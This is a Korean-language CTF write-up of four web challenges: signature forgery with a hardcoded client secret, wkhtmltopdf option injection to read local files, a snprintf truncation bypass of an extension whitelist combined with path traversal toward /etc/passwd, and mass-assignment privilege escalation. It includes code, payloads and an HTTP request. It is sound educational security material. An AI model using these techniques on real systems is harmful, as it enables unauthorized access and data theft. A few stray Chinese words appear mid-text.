1. 클라이언트 사이드 시크릿 노출을 이용한 점수 위조 (New Free Lunch)
블랙박스 환경의 웹 애플리케이션으로, 프론트엔드 자바스크립트 소스 코드를 분석하여 하드코딩된 시크릿 키를 찾아내어 SHA-256 서명을 위조하는 방식의 취약점이다. 로그인 및 회원가입 기능에는 특별한 인젝션이나 우회 요소가 없었으나, 점수 제출 로직에서 보안상의 결함이 발견되었다.
게임 종료 시 점수를 서버로 전송하는 비동기 함수를 분석하면 다음과 같다.
async function submitFinalScore() {
stopTimers();
showGameOverModal(userPoints);
// 하드코딩된 appSecret을 사용하여 서명 생성
const signature = computeSHA256(appSecret + currentUser + userPoints);
const response = await fetch('/api/scores/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Auth-Token': `Bearer ${authToken}`
},
body: JSON.stringify({
points: userPoints,
sig: signature
})
});
const result = await response.json();
if (result.status === 'success') {
showNotification('Score saved successfully!');
} else {
showNotification('Error saving score.');
}
window.location.reload();
}
서버는 appSecret, currentUser, userPoints를 결합하여 SHA-256 해시를 생성하고 이를 검증한다. 소스 코드 내에서 평문으로 노출된 appSecret 값을 확보한 후, 로컬에서 임의로 조작한 높은 점수에 맞는 해시 값을 계산하여 요청을 위조하면排行榜(리더보드)에서 플래그를 획득할 수 있다.
2. wkhtmltopdf 명령어 인젝션을 통한 로컬 파일 읽기 (Webpage to PDF)
이 문제는 wkhtmltopdf 유틸리티를 사용하여 웹페이지를 PDF로 변환하는 기능에서 발생한다. 기본적으로 wkhtmltopdf는 보안상의 이유로 file:// 프로토콜을 통한 로컬 파일 접근을 제한한다. 이를 우회하기 위해서는 --enable-local-file-access 플래그가 필요하다.
서버 내부 로직을 살펴보면, 세션 ID를 기반으로 한 명령어 문자열拼接(결합) 과정에서 입력 값에 대한 적절한 샌드박싱이 이루어지지 않고 있음을 알 수 있다. 공격자는 쿠키의 세션 값에 옵션을 주입하여 최종 실행되는 시스템 명령어를 조작할 수 있다.
먼저, 로컬 파일을 읽기 위한 간단한 HTML 페이지를 호스팅한다.
<!DOCTYPE html>
<html>
<body style="margin: 0; overflow: hidden;">
<object data="file:///flag.txt" width="100%" height="100%" type="text/plain"></object>
</body>
</html>
이후 쿠키의 세션 ID 앞에 --enable-local-file-access를 삽입하여 요청을 보낸다. 서버는 다음과 같이 명령어를 구성하여 실행하게 된다.
wkhtmltopdf --enable-local-file-access {INJECTED_SESSION_ID}.html --enable-local-file-access {INJECTED_SESSION_ID}.pdf
결과적으로 로컬 파일 접근 권한이 활성화되어 /flag.txt의 내용이 PDF로 렌더링되며, 생성된 PDF 파일에 접근하여 플래그를 획득한다.
3. C 언어 HTTP 서버의 snprintf 버퍼 잘림 현상 우회 (Custom Web Server)
C 언어로 직접 구현된 커스텀 HTTP 서버의 소스 코드를 분석하는 문제이다. 서버는 요청된 파일의 확장자가 .html, .png, .css, .js 중 하나인지 검증하는 화이트리스트를 보유하고 있다.
int has_valid_extension(const char *resource) {
const char *allowed_exts[] = {".html", ".css", ".js", ".png"};
size_t res_len = strlen(resource);
for (int i = 0; i < 4; i++) {
size_t ext_len = strlen(allowed_exts[i]);
if (res_len >= ext_len && strcmp(resource + res_len - ext_len, allowed_exts[i]) == 0) {
return 1;
}
}
return 0;
}
HttpResponseBody *load_file_content(const char *resource) {
if (!has_valid_extension(resource)) return NULL;
char target_filepath[MAX_PATH_LEN]; // MAX_PATH_LEN은 1024로 정의됨
snprintf(target_filepath, MAX_PATH_LEN, "static/%s", resource);
FILE *fp = fopen(target_filepath, "rb");
// ... 파일 읽기 로직 ...
}
NULL 바이트(%00)를 이용한 전통적인截断(잘림) 기법은 현대 컴파일러와 라이브러리에서 차단된다. 그러나 위 코드에서 target_filepath의 크기는 1024바이트로 고정되어 있으며, snprintf 함수는 버퍼 크기를 초과하는 입력에 대해 자동으로 문자열을 잘라낸다. 이 특성을 이용하면 화이트리스트 검증을 통과한 후 실제 파일 경로가 열릴 때 확장자를 잘라낼 수 있다.
다음은 버퍼 잘림 현상을 증명하기 위해 버퍼 크기를 축소한 데모 코드이다.
#include <stdio.h>
#include <string.h>
#define DEMO_BUFFER_SIZE 32
int main() {
// 화이트리스트 검증을 통과하기 위한 .js 확장자 포함
const char *user_input = "../../../../etc/passwd.js";
char final_path[DEMO_BUFFER_SIZE];
snprintf(final_path, DEMO_BUFFER_SIZE, "static/%s", user_input);
// 버퍼 크기를 초과하여 .js 확장자가 잘려나감
printf("Executed path: %s\n", final_path);
return 0;
}
이 원리를 적용하여 1024바이트를 초과하는 긴 경로 탐색(Path Traversal) 페이로드를 구성한다. 끝부분에 .js를 붙여 검증을 우회하고, snprintf에 의해 .js가 잘려나가도록 하여 최종적으로 flag.txt 파일을 읽을 수 있다.
4. ORM 매스 어사인먼트를 통한 권한 상승 (Mystiz's Mini CTF)
사용자 등록 API에서 입력 파라미터를 데이터베이스 모델에 바인딩할 때 필드 검증을 소홀히 하여 발생하는 매스 어사인먼트(Mass Assignment) 취약점이다. 관리자 권한이 있어야만 플래그에 접근할 수 있도록 설계되어 있다.
회원가입 요청 시 서버는 클라이언트가 전송한 폼 데이터를 별도의 필터링 없이 User 모델의 속성에 직접 매핑한다. 이를 악용하여 일반 사용자는 설정할 수 없어야 할 is_admin 필드를 요청에 포함시켜 보낸다.
POST /api/v1/auth/register HTTP/1.1
Host: target-server.hkcert24.pwnable.hk
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
login_id=TestUser&pass_key=SecurePass123!&user_role=admin&is_admin=true
서버는 is_admin=true 파라미터를 그대로 수용하여 관리자 계정을 생성한다. 이후 생성된 계정으로 로그인하여 관리자 전용 엔드포인트인 /api/admin/challenges에 접근하면 플래그를 획득할 수 있다.